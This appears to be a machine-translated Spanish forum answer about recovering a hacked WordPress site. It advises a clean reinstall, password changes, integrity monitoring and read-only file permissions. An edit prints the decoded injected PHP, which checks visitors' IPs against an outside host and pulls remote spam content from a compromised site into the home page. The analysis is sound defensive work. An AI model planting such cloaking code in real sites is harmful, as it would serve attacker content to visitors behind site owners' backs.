¿Cómo evitar agregar códigos maliciosos que se encuentran en el sitio web pirateado de WordPress?

El hecho de que el código que se colocó en su sitio coloque específicamente los enlaces en una división fuera de la pantalla me lleva a creer que este es el trabajo de un estafador de SEO que está explotando una vulnerabilidad que es muy probable que esté en uno de Sus complementos o tal vez en su configuración de comentarios. Si tiene complementos que no han tenido actualizaciones en mucho tiempo, puede ser un buen lugar para comenzar a buscar.

Un poco de una opción nuclear es descargar una copia nueva de WordPress y cualquier complemento que no haya personalizado. Además, deseará tener una copia limpia de todo lo que está personalizado (incluido su tema y cualquier complemento personalizado). Es de esperar que tenga copias de seguridad automáticas de su base de datos porque probablemente necesitará restaurar eso también.

Una vez que esté seguro de tener una versión limpia de todo el sitio, debe elegir un tiempo de inactividad para eliminar su sitio y cargar la versión limpia. Digo que elimine su sitio porque solo cargar la versión limpia no sobrescribirá ningún archivo adicional que pueda estar escondido en algún lugar.

Dependiendo de su conexión a Internet (y del tamaño de su sitio), quizás pueda hacer esto con relativa rapidez.

Si tiene un archivo grande de imágenes cargadas (etc.) que supondrá la parte más molesta de esta opción nuclear porque es la parte menos probable de su sitio para realizar una copia de seguridad. Puede elegir dejar sus cargas en su lugar y esperar que no haya archivos maliciosos allí. Si lo detuviste todo excepto tus subidas y encontraste que el problema persiste, es posible que hayas aislado el problema en esa carpeta, pero no es la ubicación más probable.

Por supuesto, también debes cambiar todas las contraseñas de administrador (no sé cuántos usuarios tienes, pero es posible que esto deba extenderse a todos los usuarios).

Al final, incluso poner en funcionamiento / reconstruir todo el sitio aún no es una garantía, ya que podría haber una vulnerabilidad en uno de sus complementos que aún no se ha revisado.

EDITAR:

Aquí está la función que publicaste después de que se decodificó y se sangró para su lectura

function q0($h1)
{
    $w2=curl_init();
    curl_setopt($w2,CURLOPT_URL,$h1);
    curl_setopt($w2,CURLOPT_RETURNTRANSFER,TRUE);
    $i3=curl_exec($w2);
    return $i3;
}
$h1=http://www.greenheartuae.com/wp-includes/license.txt;
$d4=file_get_contents('http://ip.museovirtuale.net/cgi-bin/ipcheck.cgi?ip='.$_SERVER['REMOTE_ADDR']);
if($_SERVER['REQUEST_URI']=='/' ||$_SERVER['REQUEST_URI']=='/index.php')
{
    if($d4)
    {
        if($d4==false or $d4=='forbidden' or $d4=='Forbidden')
        {
            echo '';
        }
        else
        {
            echo file_get_contents($h1);
            exit;
        }
    }
    else
    {
        $d4=q0('http://ip.museovirtuale.net/cgi-bin/ipcheck.cgi?ip='.$_SERVER['REMOTE_ADDR']);
        if($d4==false or $d4=='forbidden' or $d4=='Forbidden')
        {
            echo '';
        }
        else
        {
            echo q0($h1);
            exit;
        }
    }
}

Como puede ver, está usando cURL para obtener algunos datos de otro servidor. Lo más probable es que los datos sean los enlaces que está viendo y es por eso que los enlaces pueden cambiar. La naturaleza de los enlaces me lleva a mi suposición original de que este es el trabajo de un estafador de SEO que busca respaldos de enlaces (aunque todavía podría ser un truco para otra cosa). Además, puedes ver las direcciones web a las que está enlazando. Uno de los sitios parece ser otro sitio de WordPress mientras que el otro fue detectado por mi antivirus y es claramente una mala noticia.

Lo que quieres hacer es encontrar una manera de verificar si los archivos se están modificando en el sistema. Para hacer eso, necesita tener un proceso que verifique la integridad de los archivos de manera oportuna, ya sea a través de 1. un monitor de integridad de archivos como tripwire, 2. un proceso como auditd que esté enganchado al kernel, o 3. algún otro proceso que no se parece a ninguno de los métodos tradicionales aquí.

Una vez que haya cambiado, tendrá la difícil tarea de averiguar qué usuario lo hizo, si se trata de algún otro método que no sea a través de la web o algo completamente distinto.

Puede que no te ayude a descubrir qué hizo esta acción, pero puedes suponer que viene del servidor web (posiblemente PHP).

Lo que puede hacer es proteger estos archivos contra modificaciones, modificando el modo de solo lectura y asignándolos a un usuario que no sea el usuario del servidor web.

Por ejemplo, en un cuadro de Linux, podría hacer algo como:

chown root:root *.php
chmod 644 *.php

Esto evitará que un pirata informático modifique estos archivos desde el servidor web y puede usarse como protección temporal mientras investigas el problema.